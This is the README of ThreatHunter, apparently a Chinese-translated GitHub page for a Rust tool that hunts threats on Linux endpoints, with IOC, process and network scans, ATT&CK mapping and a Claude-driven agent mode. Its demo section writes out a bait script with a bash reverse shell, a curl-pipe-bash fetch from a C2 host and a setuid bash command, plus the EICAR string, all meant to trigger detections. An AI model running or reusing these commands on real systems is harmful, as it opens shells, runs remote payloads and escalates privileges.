acheemala/threat-hunter

GitHub: acheemala/threat-hunter

一款用 Rust 编写的 Linux 端点自主威胁狩猎工具,整合 IOC 扫描、进程与网络分析、日志审查及 MITRE ATT&CK 映射,支持 Claude API 驱动的 AI 辅助调查。

Stars: 0 | Forks: 0

# ThreatHunter ``` ████████╗██╗ ██╗██████╗ ███████╗ █████╗ ████████╗ ██╔══╝██║ ██║██╔══██╗██╔════╝██╔══██╗╚══██╔══╝ ██║ ███████║██████╔╝█████╗ ███████║ ██║ ██║ ██╔══██║██╔══██╗██╔══╝ ██╔══██║ ██║ ██║ ██║ ██║██║ ██║███████╗██║ ██║ ██║ ``` [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE) [![Built with Rust](https://img.shields.io/badge/Built%20with-Rust-orange.svg)](https://www.rust-lang.org) [![MITRE ATT&CK](https://img.shields.io/badge/MITRE-ATT%26CK-red.svg)](https://attack.mitre.org) ## 功能介绍 | 引擎 | 检测内容 | |---|---| | **文件系统扫描器** | 恶意软件哈希 (SHA-256 + MD5)、可疑模式、双重扩展名、`/tmp` 中的可执行文件 | | **进程检查器** | 已删除的可执行文件 (无文件恶意软件)、伪装系统名称、以 root 运行的解释器 | | **网络分析器** | 连接到已知 C2 IP、后门端口 (4444, 1337, 31337...)、`/proc/net/tcp` 解析 | | **迷你 SIEM** | 带有 IOC 关联的日志文件分析、时间窗口过滤、正则搜索 | | **MITRE 映射器** | 将每个发现映射到 ATT&CK 技术ID (Technique ID) 和战术 (Tactic) | | **报告引擎** | 协调所有引擎,计算加权风险评分,输出 JSON | ## 安装说明 ### 从源码构建 (需要 Rust 1.75+) ``` git clone https://github.com/YOUR_USERNAME/threat-hunter.git cd threat-hunter cargo build --release sudo cp target/release/threathunter /usr/local/bin/ ``` ### 验证 ``` threathunter --version # threathunter 0.1.0 ``` ## 使用方法 ### 扫描目录以查找恶意文件 ``` threathunter scan /var/www --recursive --suspicious-only threathunter scan /tmp --all --output json | jq '.[] | select(.severity == "CRITICAL")' ``` ### 检查正在运行的进程 ``` threathunter process --suspicious-only threathunter process --root --name python # root Python processes threathunter process --pid 1337 --full # full cmdline for one PID ``` ### 分析实时网络连接 ``` threathunter network --suspicious-only threathunter network --state ESTABLISHED --proto TCP threathunter network --output json ``` ### 查询日志文件 (迷你 SIEM) ``` threathunter siem --file /var/log/auth.log --pattern "Failed password" --last 2 threathunter siem --dir /var/log --ioc # IOC matches only threathunter siem --file /var/log/syslog --since 2024-01-15 ``` ### 将发现映射到 MITRE ATT&CK ``` threathunter mitre --finding "process running from /tmp" threathunter mitre --list # all 14 techniques ``` ### 生成完整威胁报告 ``` threathunter report --path /home --save report.json threathunter report --output full # every finding threathunter report --no-network --output json > report.json ``` ## 输出格式 每个命令都支持 `--output table | json | plain` ``` # Pipe JSON 到 jq 进行过滤 threathunter scan /var --recursive --output json \ | jq '.[] | select(.severity == "HIGH") | .path' # 保存完整报告以用于 SIEM 接收 threathunter report --output json --save /tmp/threat-report.json ``` ## MITRE ATT&CK 覆盖范围 | 战术 (Tactic) | 技术 (Techniques) | |---|---| | Execution | T1059, T1059.001, T1059.004 | | Defense Evasion | T1036, T1036.007, T1055, T1055.012 | | Persistence | T1053.003, T1098.004 | | Credential Access | T1003.001 | | Command & Control | T1071, T1105, T1571 | | Impact | T1496 | ## 风险评分 ``` CRITICAL finding ×40 points HIGH finding ×15 points MEDIUM finding × 5 points LOW finding × 1 point Score 0 → CLEAN Score 1–15 → LOW Score 16–55 → MEDIUM Score 56–120 → HIGH Score 121+ → CRITICAL ``` ## 架构 ``` src/ ioc.rs — IOC database, hash/IP/domain lookup, pattern scanner scanner.rs — File hashing (SHA-256 + MD5), anomaly detection network.rs — /proc/net/tcp parser, C2 port detection process.rs — /proc/PID enumeration, fileless malware detection report.rs — ThreatReport struct, risk scoring commands/ scan.rs — CLI → filesystem engine siem.rs — CLI → log analysis engine network.rs — CLI → network engine process.rs — CLI → process engine mitre.rs — CLI + ATT&CK mapping report.rs — Orchestrator: runs all engines main.rs — CLI router (clap) ``` ## 系统要求 - Linux (读取 `/proc/net/tcp`, `/proc/PID/`) - Rust 1.75+ (`cargo build --release`) - 建议使用 root 或 sudo 以获得完整的进程可见性 ## 许可证 MIT — 详情见 [LICENSE](LICENSE)。 ## POC 演示指南 ### 步骤 1 — 构建发布版二进制文件 ``` cargo build --release ./target/release/threathunter --version ``` ### 步骤 2 — 放置演示工件 (安全,无真实恶意软件) ``` # /tmp 中的可疑脚本(触发条件:/tmp 中的可执行文件 + 可疑扩展名) cat > /tmp/update_service.sh << 'EOF' #!/bin/bash bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 curl http://malicious-c2.ru/payload.bin | bash chmod +s /bin/bash EOF chmod +x /tmp/update_service.sh # 双重扩展名文件(触发条件:双重扩展名异常) cp /tmp/update_service.sh /tmp/invoice.pdf.sh # EICAR 测试字符串 — 安全的标准防病毒测试文件 # 这会触发 IOC 哈希匹配(EICAR SHA-256 在数据库中) echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/eicar_test.com ``` ### 步骤 3 — 运行演示 **演示 1 — 显示 MITRE ATT&CK 覆盖范围 (~30秒)** ``` ./target/release/threathunter mitre --list ``` **演示 2 — 文件系统扫描 (~1 分钟)** ``` ./target/release/threathunter scan /tmp --all --output table ``` ``` # 用于 SIEM 接收的 JSON 输出 ./target/release/threathunter scan /tmp --all --output json | head -60 ``` **演示 3 — 进程检查 (~1 分钟)** ``` ./target/release/threathunter process --suspicious-only ``` **演示 4 — 网络连接 (~1 分钟)** ``` ./target/release/threathunter network --suspicious-only ``` **演示 5 — 完整报告 (~2 分钟)** ``` ./target/release/threathunter report --path /tmp --output summary ``` ``` # 保存并检查 JSON 报告 ./target/release/threathunter report --path /tmp --output json --save /tmp/report.json cat /tmp/report.json | python3 -m json.tool | head -80 ``` **演示 6 — 代理 AI (重头戏, ~3 分钟)** ``` export ANTHROPIC_API_KEY=sk-ant-... ./target/release/threathunter agent --target /tmp --verbose ``` ### 步骤 4 — 清理 ``` rm -f /tmp/update_service.sh /tmp/invoice.pdf.sh /tmp/eicar_test.com /tmp/report.json ``` ### 快速参考速查表 ``` threathunter mitre --list # ATT&CK coverage threathunter scan /tmp --all # filesystem IOC scan threathunter scan /tmp --output json # JSON for SIEM threathunter process --suspicious-only # fileless malware threathunter network --suspicious-only # C2 detection threathunter report --path /tmp --output summary # full risk score threathunter agent --target /tmp --verbose # AI investigation ``` ## 免责声明 本工具仅用于授权的安全测试、事件响应和教育目的。请勿对您不拥有或未获得明确测试许可的系统使用本工具。
标签:AMSI绕过, BurpSuite集成, C2检测, Claude API, Cloudflare, DNS 反向解析, DNS 解析, EDR工具, HTTP工具, IOC扫描, IP 地址批量处理, MITRE ATT&CK, Rust, Vue, Windows 调试器, 人工智能, 可视化界面, 后渗透, 后门检测, 威胁搜寻, 威胁检测, 工具集, 库, 应急响应, 恶意软件扫描, 文件系统扫描, 无文件恶意软件, 无线安全, 用户模式Hook绕过, 网络安全, 网络安全审计, 网络流量审计, 网络连接监控, 进程分析, 通知系统, 隐私保护, 风险评分